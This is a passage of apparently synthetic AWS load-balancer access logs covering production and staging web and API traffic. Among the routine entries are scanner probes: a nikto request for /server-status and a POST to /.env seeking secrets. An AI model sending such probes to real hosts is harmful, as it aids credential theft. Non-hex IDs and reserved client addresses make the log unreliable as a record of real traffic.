X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d783-0c55b3a9cfcd45b1be9468d1" "prod-web-alb.example.com" "-" 3 2024-11-01T02:16:19.526887Z "forward" "-" "-" "10.0.118.205:443" "200" "-" "-" +https 2024-11-01T02:16:19.826872Z prod-api-alb 44.13.35.89:43178 10.0.92.230:443 0.093473 0.202467 0.052037 301 301 378 3183 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d783-a644e1967b154feba7c0fc44" "prod-api-alb.example.com" "-" 3 2024-11-01T02:16:19.826872Z "forward" "-" "-" "10.0.92.230:443" "301" "-" "-" +https 2024-11-01T02:16:21.729253Z prod-web-alb 218.19.120.225:24035 10.0.20.190:443 0.038396 0.358263 0.095959 200 200 209 14699 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d785-ae0939061cae4413b7fcdca1" "prod-web-alb.example.com" "-" 9 2024-11-01T02:16:21.729253Z "forward" "-" "-" "10.0.20.190:443" "200" "-" "-" +http 2024-11-01T02:16:23.532233Z staging-alb 86.116.234.184:22081 127.69.113.243:80 0.070869 0.120083 0.105777 200 200 402 10894 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d787-d38aadd4147c471da40bb148" "staging-alb.example.com" "-" 0 2024-11-01T02:16:23.532233Z "forward" "-" "-" "127.69.113.243:80" "200" "-" "-" +https 2024-11-01T02:16:23.659440Z prod-api-alb 159.173.218.87:26624 10.0.65.246:443 0.032612 0.281500 0.079303 200 200 108 14016 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d787-0f00a6a74ee643989940ef8f" "prod-api-alb.example.com" "-" 0 2024-11-01T02:16:23.659440Z "forward" "-" "-" "10.0.65.246:443" "200" "-" "-" +https 2024-11-01T02:16:23.869356Z prod-web-alb 168.135.237.125:10627 10.0.50.7:443 0.052874 0.424238 0.067430 200 200 747 2472 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d787-8e50774e74c440fab19297d4" "prod-web-alb.example.com" "-" 1 2024-11-01T02:16:23.869356Z "forward" "-" "-" "10.0.50.7:443" "200" "-" "-" +https 2024-11-01T02:16:24.758977Z prod-api-alb 161.129.165.150:45737 10.0.157.218:443 0.084082 0.499040 0.064828 404 404 329 1422 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d788-f7d969e21fcf4010a5455a01" "prod-api-alb.example.com" "-" 0 2024-11-01T02:16:24.758977Z "forward" "-" "-" "10.0.157.218:443" "404" "-" "-" +https 2024-11-01T02:16:25.531705Z prod-api-alb 45.155.205.44:43819 10.0.208.185:443 0.042833 0.164508 0.062092 403 403 979 1070 "GET /server-status HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d789-932016cde45a4c0aa04ee47c" "-" "-" 7 2024-11-01T02:16:25.531705Z "forward" "-" "-" "10.0.208.185:443" "403" "-" "-" +https 2024-11-01T02:16:26.445170Z staging-alb 28.159.186.208:16419 63.163.110.93:80 0.000022 0.457449 0.103326 404 404 903 11998 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d78a-bc182c9ddf6d4d928869c6a6" "staging-alb.example.com" "-" 3 2024-11-01T02:16:26.445170Z "forward" "-" "-" "63.163.110.93:80" "404" "-" "-" +https 2024-11-01T02:16:27.360472Z prod-api-alb 185.181.6.37:64370 10.0.185.113:443 0.027926 0.244992 0.064756 301 301 695 2700 "POST /.env HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d78b-73de235d6faf4cb9a93483a4" "-" "-" 3 2024-11-01T02:16:27.360472Z "forward" "-" "-" "10.0.185.113:443" "301" "-" "-" +https 2024-11-01T02:16:29.112533Z prod-web-alb 3.197.38.163:14253 10.0.31.6:443 0.050326 0.212883 0.071340 200 200 417 13226 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d78d-423ca990a41241da8273f9bf" "prod-web-alb.example.com" "-" 9 2024-11-01T02:16:29.112533Z "forward" "-" "-" "10.0.31.6:443" "200" "-" "-" +https 2024-11-01T02:16:29.706165Z prod-web-alb 202.135.163.184:45565 10.0.26.223:443 0.028391 0.034855 0.037411 200 200 727 9651 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d78d-696886f62cc44821bc44e733" "prod-web-alb.example.com" "-" 5 2024-11-01T02:16:29.706165Z "forward" "-" "-" "10.0.26.223:443" "200" "-" "-" +https 2024-11-01T02:16:30.659400Z prod-api-alb 141.35.232.11:19507 10.0.43.55:443 0.019141 0.097586 0.031840 200 200 618 5269 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d78e-bc443eea16ce4ae9b3849806" "prod-api-alb.example.com" "-" 6 2024-11-01T02:16:30.659400Z "forward" "-" "-" "10.0.43.55:443" "200" "-" "-" +http 2024-11-01T02:16:31.487753Z staging-alb 181.126.230.7:30925 67.113.57.5:80 0.108570 0.291776 0.088798 200 200 921 4732 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d78f-3a7ab097e2054e1ea34c8975" "staging-alb.example.com" "-" 1 2024-11-01T02:16:31.487753Z "forward" "-" "-" "67.113.57.5:80" "200" "-" "-" +https 2024-11-01T02:16:32.950093Z prod-web-alb 149.174.99.253:49333 10.0.21.103:443 0.016390 0.392753 0.034914 200 200 927 1208 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d790-44da1dd52c034e588d79a248" "prod-web-alb.example.com" "-" 9 2024-11-01T02:16:32.950093Z "forward" "-" "-" "10.0.21.103:443" "200" "-" "-" +https 2024-11-01T02:16:33.279815Z staging-alb 151.248.253.225:53120 212.114.202.253:80 0.020461 0.632783 0.054505 301 301 842 8778 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d791-a78ca7c4eead4bdfa946a5ab" "staging-alb.example.com" "-" 3 2024-11-01T02:16:33.279815Z "forward" "-" "-" "212.114.202.253:80" "301" "-" "-" +http 2024-11-01T02:16:35.119364Z staging-alb 113.44.136.143:51319 102.26.108.144:80 0.067357 0.604369 0.082730 302 302 556 5584 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d793-c468b165a5f546fe802926b6" "staging-alb.example.com" "-" 8 2024-11-01T02:16:35.119364Z "forward" "-" "-" "102.26.108.144:80" "302" "-" "-" +https 2024-11-01T02:16:35.917605Z prod-web-alb 14.121.0.179:42471 10.0.15.200:443 0.017337 0.415114 0.082596 302 302 860 12028 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d793-8b35f1c6dd544785acf5ea44" "prod-web-alb.example.com" "-" 6 2024-11-01T02:16:35.917605Z "forward" "-" "-" "10.0.15.200:443" "302" "-" "-" +http 2024-11-01T02:16:37.285904Z staging-alb 247.102.30.40:41873 32.205.27.151:80 0.062991 0.473173 0.074812 302 302 366 13316 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d795-ca9c1d82d3d64f6298625a37" "staging-alb.example.com" "-" 4 2024-11-01T02:16:37.285904Z "forward" "-" "-" "32.205.27.151:80" "302" "-" "-" +https 2024-11-01T02:16:37.992633Z prod-web-alb 169.197.37.212:56198 10.0.167.31:443 0.035882 0.227435 0.087363 301 301 205 13135 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d795-411c43356726408b99f042b0" "prod-web-alb.example.com" "-" 10 2024-11-01T02:16:37.992633Z "forward" "-" "-" "10.0.167.31:443" "301" "-" "-" +https 2024-11-01T02:16:39.157055Z staging-alb 218.14.211.229:18788 76.129.207.20:80 0.145406 0.600879 0.090694 200 200 708 14174 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d797-9032c314fb5f49ba97a04991" "staging-alb.example.com" "-" 1 2024-11-01T02:16:39.157055Z "forward" "-" "-" "76.129.207.20:80" "200" "-" "-" +https 2024-11-01T02:16:40.792023Z prod-api-alb 175.55.166.132:16091 10.0.101.226:443 0.048943 0.401342 0.067527 200 200 4 883 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d798-5eea536ec56942588cc93c2d" "prod-api-alb.example.com" "-" 0 2024-11-01T02:16:40.792023Z "forward" "-" "-" "10.0.101.226:443" "200" "-" "-" +https 2024-11-01T02:16:42.101196Z prod-api-alb 89.153.54.241:59962 10.0.122.49:443 0.023108 0.476995 0.082490 200 200 433 7274 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d79a-ae70dadfb633418bb7eb1b98" "prod-api-alb.example.com" "-" 2 2024-11-01T02:16:42.101196Z "forward" "-" "-" "10.0.122.49:443" "200" "-" "-" +http 2024-11-01T02:16:42.426812Z staging-alb 11.188.154.201:29556 251.169.46.185:80 0.143114 0.638634 0.080501 301 301 113 6466 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d79a-92271d48778e4fb3a52608d0" "staging-alb.example.com" "-" 9 2024-11-01T02:16:42.426812Z "forward" "-" "-" "251.169.46.185:80" "301" "-" "-" +https 2024-11-01T02:16:43.186497Z prod-api-alb 62.158.41.24:20795 10.0.19.144:443 0.081910 0.086064 0.044123 404 404 706 4234 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d79b-17874fd249eb46e3b77b2408" "prod-api-alb.example.com" "-" 0 2024-11-01T02:16:43.186497Z "forward" "-" "-" "10.0.19.144:443" "404" "-" "-" +https 2024-11-01T02:16:43.738128Z prod-api-alb 233.50.46.5:33570 10.0.176.41:443 0.099541 0.113632 0.062007 200 200 181 5843 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d79b-e02b97f855824a018a78343e" "prod-api-alb.example.com" "-" 9 2024-11-01T02:16:43.738128Z "forward" "-" "-" "10.0.176.41:443" "200" "-" "-" +https 2024-11-01T02:16:45.060345Z prod-api-alb 85.45.74.187:45823 10.0.94.113:443 0.001464 0.335855 0.050130 200 200 343 10850 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d79d-d2dc3c51051d4ca0b112c449" "prod-api-alb.example.com" "-" 3 2024-11-01T02:16:45.060345Z "forward" "-" "-" "10.0.94.113:443" "200" "-" "-" +https 2024-11-01T02:16:46.776686Z prod-web-alb 233.242.178.86:57095 10.0.179.87:443 0.013956 0.320142 0.096746 301 301 104 2815 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d79e-dda0158d7e3b472eb878563f" "prod-web-alb.example.com" "-" 9 2024-11-01T02:16:46.776686Z "forward" "-" "-" "10.0.179.87:443" "301" "-" "-" +https 2024-11-01T02:16:48.262231Z prod-web-alb 101.205.184.209:15960 10.0.122.56:443 0.013712 0.345153 0.097939 200 200 718 4637 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7a0-e50351c9eb084da2ac75068c" "prod-web-alb.example.com" "-" 0 2024-11-01T02:16:48.262231Z "forward" "-" "-" "10.0.122.56:443" "200" "-" "-" +https 2024-11-01T02:16:48.672379Z prod-api-alb 45.56.165.96:62463 10.0.14.200:443 0.030103 0.408336 0.040295 200 200 30 8427 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7a0-9dbd17fdb1f8427dbafd773f" "prod-api-alb.example.com" "-" 10 2024-11-01T02:16:48.672379Z "forward" "-" "-" "10.0.14.200:443" "200" "-" "-" +https 2024-11-01T02:16:49.074188Z prod-api-alb 224.253.106.115:64278 10.0.210.167:443 0.004195 0.211532 0.054760 200 200 106 11973 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7a1-fae0f8cf972f4fe4a70ab8dd" "prod-api-alb.example.com" "-" 5 2024-11-01T02:16:49.074188Z "forward" "-" "-" "10.0.210.167:443" "200" "-" "-" +https 2024-11-01T02:16:49.197411Z prod-web-alb 201.122.143.130:18471 10.0.51.189:443 0.014694 0.014310 0.098551 200 200 407 4544 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7a1-2ded38f8afe14e3f9706eb70" "prod-web-alb.example.com" "-" 3 2024-11-01T02:16:49.197411Z "forward" "-" "-" "10.0.51.189:443" "200" "-" "-" +https 2024-11-01T02:16:50.701567Z prod-web-alb 41.117.204.251:37442 10.0.180.231:443 0.001528 0.422636 0.075825 404 404 966 10635 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7a2-4aaf97847a534eb681378c0a" "prod-web-alb.example.com" "-" 5 2024-11-01T02:16:50.701567Z "forward" "-" "-" "10.0.180.231:443" "404" "-" "-" +https 2024-11-01T02:16:51.995281Z prod-web-alb 119.50.15.100:14787 10.0.85.238:443 0.017584 0.069332 0.062089 404 404 388 9614 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7a3-a62127b8466941fcab11625f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:16:51.995281Z "forward" "-" "-" "10.0.85.238:443" "404" "-" "-" +https 2024-11-01T02:16:52.113514Z prod-api-alb 98.239.187.14:58796 10.0.164.77:443 0.083371 0.289344 0.090190 302 302 694 4990 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7a4-4bfbfc12890c4ff98e7b3b7e" "prod-api-alb.example.com" "-" 3 2024-11-01T02:16:52.113514Z "forward" "-" "-" "10.0.164.77:443" "302" "-" "-" +https 2024-11-01T02:16:53.661199Z prod-api-alb 189.14.105.123:60436 10.0.239.4:443 0.020355 0.438143 0.050682 301 301 715 14748 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7a5-cf5daec087054a00a9d98f57" "prod-api-alb.example.com" "-" 1 2024-11-01T02:16:53.661199Z "forward" "-" "-" "10.0.239.4:443" "301" "-" "-" +https 2024-11-01T02:16:55.476231Z prod-api-alb 31.122.56.24:40258 10.0.24.128:443 0.021677 0.000849 0.055643 200 200 152 4162 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7a7-8a19c684864f4fc88995f961" "prod-api-alb.example.com" "-" 5 2024-11-01T02:16:55.476231Z "forward" "-" "-" "10.0.24.128:443" "200" "-" "-" +https 2024-11-01T02:16:56.527477Z prod-web-alb 152.119.131.31:12241 10.0.59.172:443 0.097502 0.042913 0.012920 200 200 127 10565 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7a8-bea4fc00f6aa4c7d8e2e988a" "prod-web-alb.example.com" "-" 8 2024-11-01T02:16:56.527477Z "forward" "-" "-" "10.0.59.172:443" "200" "-" "-" +https 2024-11-01T02:16:57.694859Z prod-api-alb 188.178.243.141:62595 10.0.176.47:443 0.063142 0.235987 0.003304 200 200 704 2892 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d7a9-cae411e27c4a4a3e801a90e8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:16:57.694859Z "forward" "-" "-" "10.0.176.47:443" "200" "-" "-" +https 2024-11-01T02:16:59.117899Z prod-web-alb 175.187.94.220:18183 10.0.131.158:443 0.005155 0.036647 0.059757 200 200 96 738 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7ab-1fd3677ae1d642548d18637f" "prod-web-alb.example.com" "-" 2 2024-11-01T02:16:59.117899Z "forward" "-" "-" "10.0.131.158:443" "200" "-" "-" +https 2024-11-01T02:16:59.263655Z prod-web-alb 173.118.155.145:53262 10.0.65.243:443 0.079954 0.414623 0.018351 200 200 435 5160 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7ab-a76b5191dc2a45549ba956ca" "prod-web-alb.example.com" "-" 5 2024-11-01T02:16:59.263655Z "forward" "-" "-" "10.0.65.243:443" "200" "-" "-" +http 2024-11-01T02:17:01.066219Z staging-alb 5.218.58.118:51863 180.1.250.33:80 0.022734 0.059191 0.025463 302 302 76 11813 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7ad-029eadda935244f2ba08250c" "staging-alb.example.com" "-" 0 2024-11-01T02:17:01.066219Z "forward" "-" "-" "180.1.250.33:80" "302" "-" "-" +https 2024-11-01T02:17:02.088879Z prod-web-alb 123.95.170.89:27572 10.0.126.36:443 0.058276 0.073399 0.006257 301 301 649 12717 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7ae-9ed0ced243fa49a1ada8dd81" "prod-web-alb.example.com" "-" 0 2024-11-01T02:17:02.088879Z "forward" "-" "-" "10.0.126.36:443" "301" "-" "-" +https 2024-11-01T02:17:04.052256Z prod-web-alb 113.28.251.110:11125 10.0.93.129:443 0.093172 0.249728 0.056432 200 200 844 14371 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d7b0-3d65f797f53d4960ae19bc3c" "prod-web-alb.example.com" "-" 4 2024-11-01T02:17:04.052256Z "forward" "-" "-" "10.0.93.129:443" "200" "-" "-" +http 2024-11-01T02:17:04.311398Z staging-alb 53.108.99.135:15219 16.197.206.73:8080 0.074409 0.429248 0.084201 404 404 242 2432 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7b0-6c45e23d789c452c81cf9b85" "-" "-" 9 2024-11-01T02:17:04.311398Z "forward" "-" "-" "16.197.206.73:8080" "404" "-" "-" +https 2024-11-01T02:17:05.503666Z staging-alb 172.26.233.159:30791 4.96.182.255:80 0.094654 0.268129 0.092284 301 301 982 9218 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d7b1-06bc0b04b4194f4dae2233cf" "staging-alb.example.com" "-" 1 2024-11-01T02:17:05.503666Z "forward" "-" "-" "4.96.182.255:80" "301" "-" "-" +https 2024-11-01T02:17:06.054441Z prod-web-alb 205.15.108.103:36264 10.0.123.212:443 0.053244 0.061012 0.080723 200 200 638 8148 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d7b2-398850819c624c76b7302077" "prod-web-alb.example.com" "-" 8 2024-11-01T02:17:06.054441Z "forward" "-" "-" "10.0.123.212:443" "200" "-" "-" +http 2024-11-01T02:17:06.461492Z staging-alb 47.35.31.204:38523 146.139.45.93:80 0.024964 0.357661 0.144314 200 200 229 1341 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d7b2-aa636f60bfa54cc990848896" "staging-alb.example.com" "-" 8 2024-11-01T02:17:06.461492Z "forward" "-" "-" "146.139.45.93:80" "200" "-" "-" +https 2024-11-01T02:17:07.342458Z prod-api-alb 233.38.163.202:52934 10.0.27.255:443 0.020072 0.120070 0.098041 200 200 159 4205 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d7b3-c4be829b2dd74500a32ffa7b" "prod-api-alb.example.com" "-" 3 